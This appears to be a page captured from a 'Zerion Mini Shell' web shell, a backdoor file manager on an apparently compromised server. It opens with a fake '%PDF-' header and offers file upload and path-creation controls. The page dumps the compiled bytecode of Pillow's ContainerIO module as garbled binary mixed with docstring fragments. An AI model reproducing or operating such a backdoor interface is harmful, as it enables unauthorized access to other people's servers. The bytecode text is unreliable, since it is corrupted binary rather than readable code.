%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/PIL/__pycache__/ContainerIO.cpython-312.pyc

�

��em��L�ddlmZddlZddlmZmZmZmZGd�dee�Zy)�)�annotationsN)�IO�AnyStr�Generic�Literalc�b�eZdZdZd
d�Zdd�Zejfdd�Zd
d�Z	ddd�Z
dd�Zdd�Zy	)�ContainerIOzm
    A file object that provides read access to a part of an existing
    file (for example a TAR file).
    c�r�||_d|_||_||_|jj	|�y)z�
        Create file object.

        :param file: Existing file.
        :param offset: Start of region, in bytes.
        :param length: Size of region, in bytes.
        rN)�fh�pos�offset�length�seek)�self�filer
rs    �1/usr/lib/python3/dist-packages/PIL/ContainerIO.py�__init__zContainerIO.__init__s0��#�����������������V��c��y)NF��rs r�isattyzContainerIO.isatty-s��rc�<�|dk(r|j|z|_n!|dk(r|j|z|_n||_tdt|j|j��|_|jj|j|jz�y)a
        Move file pointer.

        :param offset: Offset in bytes.
        :param mode: Starting position. Use 0 for beginning of region, 1
           for current offset, and 2 for end of region.  You cannot move
           the pointer outside the defined region.
        ��rN)rr�max�minrrr
)rr
�modes   rrzContainerIO.seek0ss���1�9��x�x�&�(�D�H�
�Q�Y��{�{�V�+�D�H��D�H��q�#�d�h�h����4�5��������T�[�[�4�8�8�+�,rc��|jS)ze
        Get current file pointer.

        :returns: Offset from start of region, in bytes.
        )rrs r�tellzContainerIO.tellCs
���x�x�rc��|r$t||j|jz
�}n|j|jz
}|sd|jjvrdSdS|j|z|_|jj|�S)z�
        Read data.

        :param n: Number of bytes to read. If omitted or zero,
            read until end of region.
        :returns: An 8-bit string.
        �br�)rrrrr�read)r�ns  rr$zContainerIO.readKsp��
��A�t�{�{�T�X�X�-�.�A����d�h�h�&�A��������-�3�5�2�5��8�8�a�<����w�w�|�|�A��rc��d|jjvrdnd}d|jjvrdnd}	|jd�}|s	|S||z}||k(r	|S�$)zJ
        Read a line of text.

        :returns: An 8-bit string.
        r"rr#�
�
r)rrr$)r�s�newline_character�cs    r�readlinezContainerIO.readline\so���$�'�'�,�,�.�C�B��%(�D�G�G�L�L�%8�E�d����	�	�!��A������A��A��%�%����rc�V�g}	|j�}|s	|S|j|��')zZ
        Read multiple lines of text.

        :returns: A list of 8-bit strings.
        )r,�append)r�linesr)s   r�	readlineszContainerIO.readlinesms4������
�
��A�����
�L�L��O�	rN)rz
IO[AnyStr]r
�intrr1�return�None)r2�bool)r
r1rzLiteral[0, 1, 2]r2r3)r2r1)r)r%r1r2r)r2r)r2zlist[AnyStr])
�__name__�
__module__�__qualname__�__doc__rr�io�SEEK_SETrr r$r,r0rrrr	r	s3���
�"�:<���-�&��"�"rr	)	�
__future__rr9�typingrrrrr	rrr�<module>r=s%�� #�	�/�/�c�'�&�/�cr

Zerion Mini Shell 1.0